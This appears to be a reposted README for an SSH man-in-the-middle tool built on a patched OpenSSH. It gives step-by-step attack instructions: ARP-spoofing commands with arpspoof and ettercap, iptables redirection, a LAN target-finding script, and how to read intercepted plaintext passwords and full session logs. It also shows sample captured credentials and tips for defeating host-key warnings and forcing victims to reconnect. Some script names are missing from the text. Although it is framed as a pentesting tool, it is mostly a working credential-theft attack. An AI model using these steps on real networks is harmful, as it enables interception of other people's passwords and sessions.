SSH MITM - SSH Man-In-The-Middle Tool

This penetration testing tool allows an auditor to intercept SSH connections. A patch applied to the OpenSSH v7.5p1 source code causes it to act as a proxy between the victim and their intended SSH server; all plaintext passwords and sessions are logged to disk.
Of course, the victim's SSH client will complain that the server's key has changed. But because 99.99999% of the time this is caused by a legitimate action (OS re-install, configuration change, etc), many/most users will disregard the warning and continue on.
NOTE: Only run the modified sshd_mitm in a VM or container! Ad-hoc edits were made to the OpenSSH sources in critical regions, with no regard to their security implications. Its not hard to imagine these edits introduce serious vulnerabilities.

Change Log
  • v1.0: May 16, 2017: Initial revision.
  • v1.1: July 6, 2017: Removed root privilege dependencies, added automatic installer, added Kali Linux support, added script to find potential targets on a LAN.

To Do
The following list tracks areas to improve:
  • Support SFTP MITM'ing.
  • Print hostname, username, and password at the top of session logs.
  • Add port forwarding support.
  • Regex substitute the output of ssh-keygen when a user tries to check the host key hash. >:]
  • Create wrapper script that detects when user is trying to use key authentication only, and de-spoof them automatically.

Initial Setup
As root, run the script. This will install prerequisites from the repositories, download the OpenSSH archive, verify its signature, compile it, and initialize a non-privileged environment to execute within.

Finding Targets
The script makes finding targets on a LAN very easy. It will ARP spoof a block of IPs and sniff for SSH traffic for a short period of time before moving on to the next block. Any ongoing SSH connections originating from devices on the LAN are reported.
By default, will ARP spoof and sniff only 5 IPs at a time for 20 seconds before moving onto the next block of 5. These parameters can be tuned, though a trade-off exists: the more IPs that are spoofed at a time, the greater the chance you will catch an ongoing SSH connection, but also the greater the strain you will put on your puny network interface. Under too high of a load, your interface will start dropping frames, causing a denial-of-service and greatly raising suspicions (this is bad). The defaults shouldn't cause problems in most cases, though it'll take longer to find targets. The block size can be safely raised on low-utilization networks.

# ./ --interface enp0s3 --ignore-ips,
Found local address and adding to ignore list.
Using network CIDR
Found default gateway:
IP blocks of size 5 will be spoofed for 20 seconds each.
The following IPs will be skipped:

Local clients:
  * ->
  * ->
The above output shows that two devices on the LAN have created SSH connections ( and; these can be targeted for a man-in-the-middle attack. Note, however, that in order to potentially intercept credentials, you'll have to wait for them to initiate new connections. Impatient pentesters may opt to forcefully close existing SSH sessions, prompting users to create new ones immediately...

Running The Attack
1.) Once you've completed the initial setup and found a list of potential victims (see above), execute as root. This will start sshd_mitm, enable IP forwarding, and set up SSH packet interception through iptables.
2.) ARP spoof the target(s) (Protip: do NOT spoof all the things! Your puny network interface won't likely be able to handle an entire network's traffic all at once. Only spoof a couple IPs at a time):
arpspoof -r -t 192.168.x.1 192.168.x.5
Alternatively, you can use the ettercap tool:
ettercap -i enp0s3 -T -M arp /192.168.x.1// /192.168.x.5,192.168.x.6//
3.) Monitor auth.log. Intercepted passwords will appear here:
sudo tail -f /var/log/auth.log
4.) Once a session is established, a full log of all input & output can be found in /home/ssh-mitm/session_*.txt.

Sample Results
Upon success, /var/log/auth.log will have lines that log the password, like this:
May 16 23:14:01 showmeyourmoves sshd_mitm[16798]: INTERCEPTED PASSWORD: hostname: [10.199.30.x]; username: [jdog]; password: [supercalifragilistic] [preauth]
Furthermore, the victim's entire SSH session can be found in /home/ssh-mitm/session_*.txt:
# cat /home/ssh-mitm/session_0.txt
Last login: Tue May 16 21:35:00 2017 from 10.50.22.x
OpenBSD 6.0-stable (GENERIC.MP) #12: Sat May  6 19:08:31 EDT 2017

Welcome to OpenBSD: The proactively secure Unix-like operating system.

Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code.  With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.

jdog@jefferson ~ $ ppss
59264 p0  Ss      0:00.02 -bash (bash)
52132 p0  R+p     0:00.00 ps
jdog@jefferson ~ $ iidd
uid=1000(jdog) gid=1000(jdog) groups=1000(jdog), 0(wheel)
jdog@jefferson ~ $ sssshh  jjtteessttaa@@mmaaggiiccbbooxx
jtesta@magicbox's password: ROFLC0PTER!!1juan
Note that the characters in the user's commands appear twice in the file because the input from the user is recorded, as well as the output from the shell (which echoes characters back). Observe that when programs like sudo and ssh temporarily disable echoing in order to read a password, duplicate characters are not logged.

Developer Documentation
In lol.h are two defines: DEBUG_HOST and DEBUG_PORT. Enable them and set the hostname to a test server. Now you can connect to sshd_mitm directly without using ARP spoofing in order to test your changes, e.g.:
ssh -p 2222 valid_user_on_debug_host@localhost
To create a new patch, use these commands:
pushd openssh-7.5p1-mitm/; make clean; popd
diff -ru --new-file -x '*~' -x 'config.*' -x -x Makefile -x opensshd.init -x -x openssh.xml -x openssh-7.5p1 openssh-7.5p1-mitm/ > openssh-7.5p1-mitm.patch

SSH MITM - SSH Man-In-The-Middle Tool SSH MITM - SSH Man-In-The-Middle Tool Reviewed by Zion3R on 10:27 AM Rating: 5